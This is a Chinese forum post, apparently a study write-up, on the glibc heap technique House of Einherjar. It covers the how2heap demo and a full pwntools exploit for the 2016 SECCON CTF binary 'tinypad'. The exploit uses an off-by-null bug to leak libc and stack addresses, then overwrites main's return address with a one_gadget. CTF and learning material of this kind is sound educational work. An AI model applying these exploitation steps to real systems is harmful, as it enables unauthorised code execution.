查看: 571|回复: 0

[Pwn] PWN:House Of Einherjar学习

[复制链接]
发表于 2020-9-16 14:47:10 | 显示全部楼层 |阅读模式

相关题目:

用 how2heap 的例子看一下
#include <stdio.h>  #include <stdlib.h>
  #include <string.h>
  #include <stdint.h>
  #include <malloc.h>
  int main()
  {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  uint8_t* a;
  uint8_t* b;
  uint8_t* d;
  printf("\n申请 0x38 作为 chunk a\n");
  a = (uint8_t*) malloc(0x38);
  printf("chunk a 在: %p\n", a);
  int real_a_size = malloc_usable_size(a);
  printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size: %#x\n", real_a_size);
  // create a fake chunk
  printf("\n接下来在栈上伪造 chunk,并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n");
  size_t fake_chunk[6];
  fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
  fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
  fake_chunk[2] = (size_t) fake_chunk; // fd
  fake_chunk[3] = (size_t) fake_chunk; // bk
  fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
  fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
  printf("我们伪造的 fake chunk 在 %p\n", fake_chunk);
  printf("prev_size (not used): %#lx\n", fake_chunk[0]);
  printf("size: %#lx\n", fake_chunk[1]);
  printf("fd: %#lx\n", fake_chunk[2]);
  printf("bk: %#lx\n", fake_chunk[3]);
  printf("fd_nextsize: %#lx\n", fake_chunk[4]);
  printf("bk_nextsize: %#lx\n", fake_chunk[5]);
  b = (uint8_t*) malloc(0xf8);
  int real_b_size = malloc_usable_size(b);
  printf("\n再去申请 0xf8 chunk b.\n");
  printf("chunk b 在: %p\n", b);
  uint64_t* b_size_ptr = (uint64_t*)(b - 8);
  printf("\nb 的 size: %#lx\n", *b_size_ptr);
  printf("b 的 大小是: 0x100,prev_inuse 有个 1,所以显示 0x101\n");
  printf("假设有个 off by null 的漏洞,可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n");
  a[real_a_size] = 0;
  printf("b 现在的 size: %#lx\n", *b_size_ptr);
  printf("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节,以便 chunk b 与我们的 fake chunk 的合并\n", sizeof(size_t));
  size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
  printf("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
  *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
  printf("\n接下来要把 fake chunk 的 size 改掉,来通过 size(P) == prev_size(next_chunk(P)) 检查\n");
  fake_chunk[1] = fake_size;
  printf("\nfree b,首先会跟 top chunk 合并,然后因为 b 的 prev_size 是 0,所以会跟前面的 fake chunk 合并,glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize)),这样算的话 b+fake_prev_size 得到 fake chunk 的地址,然后合并到 top chunk,新的 topchunk 的起点就是 fake chunk,再次申请就会从 top chunk 那里申请\n");
  free(b);
  printf("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
  printf("\n现在如果去 malloc,他就会申请到伪造的那个 chunk\n");
  d = malloc(0x200);
  printf("malloc(0x200) 在 %p\n", d);
  }

上面文字基本表达完了,但还是调试着看一下叭

首先申请了一个 chunk a,然后在栈上伪造了一个 chunk,为了绕过 unlink 的检查,先把 fd、bk、fd_nextsize、bk_nextsize 直接写成我们 fake_chunk 的地址

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

然后申请一个 chunk b,因为前面申请的 chunk 的大小是 0x38,所以 chunk a 共用了 chunk b 的 chunk 头的 0x8,也就是说我们写 chunk a 的最后 0x8 字节可以直接更改掉 chunk b 的 prev_size,这里为了让他能找到我们的 fake chunk,所以用 chunk b 的地址减去 fake chunk 的地址,0x603040-0x7fffffffdca0=0xffff8000006053a0

同时假设存在一个 off by null 的漏洞,可以更改掉 chunk b 的 prev_inuse 为 0

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

然后我们释放掉 b,这时候 b 因为与 top chunk 挨着,会跟 top chunk 合并,然后因为 prev_inuse 是 0,所以会根据 prev_size 去找前面的 free chunk,然而 prev_size 被我们改了,他去找的时候找到的是 fake chunk,然后两个合并,新的 top chunk 起点就成了 fake chunk,再次分配的时候就会分配到 fake chunk 那里了
ps.按照这个道理 d = malloc(0x200) 这行代码还没执行的时候,p main_arena 应该看到 top 被改成了 fake chunk 地址的,但是调试的时候显示的是 chunk b 的地址,然而 malloc 之后才显示 top 为 fake chunk 的地址,然而此时 d 的地址已经是在 fake chunk 那里了,不知道为啥

再深入理解为啥会跟 top chunk 合并之类这些问题大概要把 libc 的源码看一下才能理解,等以后吧 Orz
2016 Seccon tinypad
在 read 的时候有一个 off by null

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

程序在 0x602140 这里记录了申请的 chunk 的 size 与指针

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

首先需要泄漏 libc 的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
delete(3)
delete(1)
p.recvuntil("INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
p.recvuntil("INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
#0x3c4b20用main_arena工具计算出来的,也可以vmmap看一下libc基址自己算
#把剩下那俩也free掉
delete(2)
delete(4)

先申请几个,然后释放掉两个,用来获取 unsorted bin 的地址和 heap 的地址(chunk3 的 fd 指针)

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

1
2
3
4
5
6
7
tinypad = 0x0602040
offset = heap_addr + 0x20 - (tinypad + 0x20)
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "4"*0x20 + fake_chunk)
delete(1)
create(0x18, '1'*0x10 + p64(offset))
delete(2)

这一块首先是通过计算算出了 heap_addr + 0x20 与 tinypd+0x20 的地址的偏移(实际上是 heap_addr 与 tinypad 的偏移),然后伪造了一个 fake chunk,它的大小是 0x101,fd 跟 bk 都是 tinypad + 0x20 的地址值
然后通过 edit(2) 来吧内容写到 0x0602040 这里,此时在 0x602060 处就是我们的 fake chunk
(edit 的时候先写到 0x0602040 这里,然后复制到指定的位置。真的,大部分问题可能都出在看不懂程序上 Orz)

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

对 chunk1 先 free 然后申请回来,同时把 offset 写到 chunk2 的 prev_size 位上,加上程序的 off by null 的漏洞,可以把 chunk2 的 prev_inuse 位给改为 0,所以再去 free chunk2 的时候就成功利用了 House Of Einherjar

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习
1
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)

同时利用 edit(4) 把 fake chunk 的 fd、bk 给改成 main_arena+88 的地址(unsorted bin)

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习
1
2
3
4
5
6
7
8
9
10
11
12
one_gadget = libc_base + 0x45226
environ_pointer = libc_base + libc.symbols['__environ']
create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()

然后申请的时候就申请到了 fake chunk 那里,同时把 tinypad+0x100 那里的指针改成 size 跟 environ 的地址,通过 environ 函数泄漏 main 函数 retn 的地址,然后把这个地址覆盖为 one_gadget

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

接下来直接在 chunk1 的 content 处就可以看到 0x7ffff7dd3f38 处的 0x7fffffffde48
然后要根据这个来算出距离 main_ret 处的偏移
(直接在快要 ret 的那里下个断点,然后 c 运行到那里)

PWN:House Of Einherjar学习

PWN:House Of Einherjar学习

接下来通过编辑第二个 chunk 把之前写 environ_pointer 的地址改成 main_ret 的地址,然后通过编辑 chunk1 把 main_ret 改成 one_gadget 然后正常的退出就可以啦

完整 exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./tinypad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./tinypad')
context.log_level = 'debug'
 
def cmd(choice):
  p.sendlineafter("(CMD)>>> ", choice)
 
def create(size, content):
  cmd("A")
  p.sendlineafter("(SIZE)>>> ", str(size))
  p.sendlineafter("(CONTENT)>>> ", content)
 
def delete(index):
  cmd("D")
  p.sendlineafter("(INDEX)>>> ", str(index))
 
def edit(index, content):
  cmd("E")
  p.sendlineafter("(INDEX)>>> ", str(index))
  p.sendlineafter("(CONTENT)>>> ", content)
  p.sendlineafter("(Y/n)>>> ", "Y")
 
def quit():
  cmd("Q")
 
create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
 
delete(3)
delete(1)
p.recvuntil("INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
p.recvuntil("INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
print "======== some addrs ======="
print hex(main_arena_addr)
print hex(libc_base)
print hex(heap_addr)
delete(2)
delete(4)
#gdb.attach(p,'b *0x400E4E')
create(0x10, '1'*0x10)
create(0x100, '2'*0xf8+p64(0x11))
create(0x100, '3'*0xf8)
create(0x100, '4'*0xf8)
 
tinypad = 0x0602040
offset = heap_addr - tinypad
print "============ offset ==========="
print offset
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "a"*0x20 + fake_chunk)
delete(1)
create(0x18, '1'*0x10 + p64(offset))
delete(2)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)
 
one_gadget = libc_base + 0x45226
environ_pointer = libc_base + libc.symbols['__environ']
create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
 
p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
#gdb.attach(p)
#pause()
edit(1, p64(one_gadget))
quit()
p.interactive()



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表